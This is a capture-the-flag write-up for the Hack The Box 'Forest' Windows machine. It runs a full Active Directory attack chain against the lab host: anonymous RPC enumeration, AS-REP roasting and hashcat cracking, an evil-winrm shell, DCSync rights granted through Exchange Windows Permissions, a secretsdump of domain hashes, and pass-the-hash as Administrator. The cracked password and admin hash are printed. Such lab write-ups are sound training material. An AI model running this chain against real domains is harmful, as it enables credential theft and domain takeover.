Hackthebox - Forest
Windows

Nmap
Port 135 and 593 - RPC
Enumerate users
rpcclient -U "" -c "enumdomusers" -N 10.10.10.161
Enumerate privilege
rpcclient -U "" -c "enumprivs" -N 10.10.10.161
Get domain info
rpcclient -U "" -c "querydominfo" -N 10.10.10.161
Emumerate domain groups
rpcclient -U "" -c "queryuser andy" -N 10.10.10.161get info on users
Let's try to kerberoast.
The domain is HTB
python3 /opt/impacket/examples/GetNPUsers.py -dc-ip 10.10.10.161 htb/svc-alfresco -no-pass
Now we can crack the password with hashcat
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txtAnd we get the password it iss3rvice

Let's try to get a shell with evil-winrm
evil-winrm -i 10.10.10.161 -u svc-alfresco -p 's3rvice'
Privesc
Let's upload winpeas with evil-winrm it is easy we just have to use the upload command
upload /home/kali/Documents/hackthebox/forest/winPEASany.exeLet's also take powerup
This does not really go anywhere.
Let's use Bloodhound, after all the box is named "forest"

This node is particularly interesting for us

According to this article we can access to File Shares.
net view FOREST.HTB.LOCAL

New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)net group "EXCHANGE WINDOWS PERMISSIONS" svc-alfresco /add /domainWe did not go very far with this.
We could also try to abuse this
WriteDaclpermission that the group "Exchange Windows Permissions has"Our user svc-alfresco is able to add users.
Here are the Abuse info from bloodhound
To abuse WriteDacl to a domain object, you may grant yourself the DcSync privileges. You may need to authenticate to the Domain Controller as a member of EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL if you are not running a process as a member. To do this in conjunction with Add-DomainObjectAcl, first create a PSCredential object (these examples comes from the PowerView help documentation):
Then, use Add-DomainObjectAcl, optionally specifying $Cred if you are not already running a process as EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL:
Once you have granted yourself this privilege, you may use the mimikatz dcsync function to dcsync the password of arbitrary principals on the domain
First let's import Powerview
. .\Powerview.ps1was not working what worked wasImport-Module .\PowerView.ps1Let's add a user
net user gabrielle gabrielle@123 /add /domainLet's add it to the group with WriteDacl permission
net group "Exchange Windows Permissions" /add gabrielleAdd-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity gabrielle -Rights DCSyncwe use Add-DomainObjectAclFinally we just need to dump hashes with secretdumps
secretsdump.py htb.local/gabrielle:gabrielle@123@10.10.10.161We get the admin hash this way
Let's connect as Administrator using the hash
evil-winrm -i 10.10.10.161 -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6and get the root flagtype ../Desktop/root.txt
Last updated